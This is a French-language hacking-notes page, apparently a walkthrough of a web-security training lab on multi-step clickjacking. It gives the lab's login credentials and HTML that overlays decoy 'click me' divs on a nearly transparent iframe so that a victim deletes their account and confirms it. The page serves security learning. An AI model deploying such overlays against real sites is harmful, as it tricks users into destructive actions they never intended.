> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/clickjacking/multistep-clickjacking.md).

# Clickjacking multi-étapes

### Clickjacking en plusieurs étapes

**Objectif :** tromper l’utilisateur pour qu’il clique sur le bouton Supprimer le compte, puis confirmer la boîte de dialogue de confirmation en cliquant successivement sur deux leurres : **« Cliquez-moi d’abord »** puis **« Cliquez-moi ensuite »**.

**Identifiants fournis pour se connecter au compte (lab) :** `wiener:peter`

* La page contient un **supprimer le compte** bouton suivi d’une boîte de confirmation (« Êtes-vous sûr ? ») — vous devez donc déclencher deux actions successives.

<figure><img src="/files/65a05026bc10d66f5d0ff8cc7287a96641981d92" alt=""><figcaption></figcaption></figure>

* L’idée est de superposer deux zones cliquables (div leurres) sur une `iframe` pointant vers la `/my-account` page : la première cible est le **Supprimer le compte** bouton, la deuxième cible est le bouton de confirmation qui apparaît ensuite.

<figure><img src="/files/5b4c449fee55126176b8e695d3eb989da1f22cb9" alt="" width="563"><figcaption></figcaption></figure>

* Nous rendons l’iframe semi-transparente (ou avec une faible opacité) afin que l’utilisateur voie le leurre mais clique en réalité sur les éléments de la page ciblée.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Cliquez-moi d’abord</div>
<div class="next" Cliquez-moi ensuite</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/4c189b0eda4dd0ee06edd5ed5e66bf6f50b47c19" alt="" width="429"><figcaption></figcaption></figure>

Le code ci-dessous positionne l’iframe, place deux leurres et n’affiche le deuxième leurre qu’après avoir cliqué sur le premier. `iframe` pointe vers le `/my-account` URL du labo

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Cliquez-moi d’abord</div>
<div class="next">Cliquez-moi ensuite</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/9023fe74fa2fd9604b2a38c420c13a631b7a2ca7" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
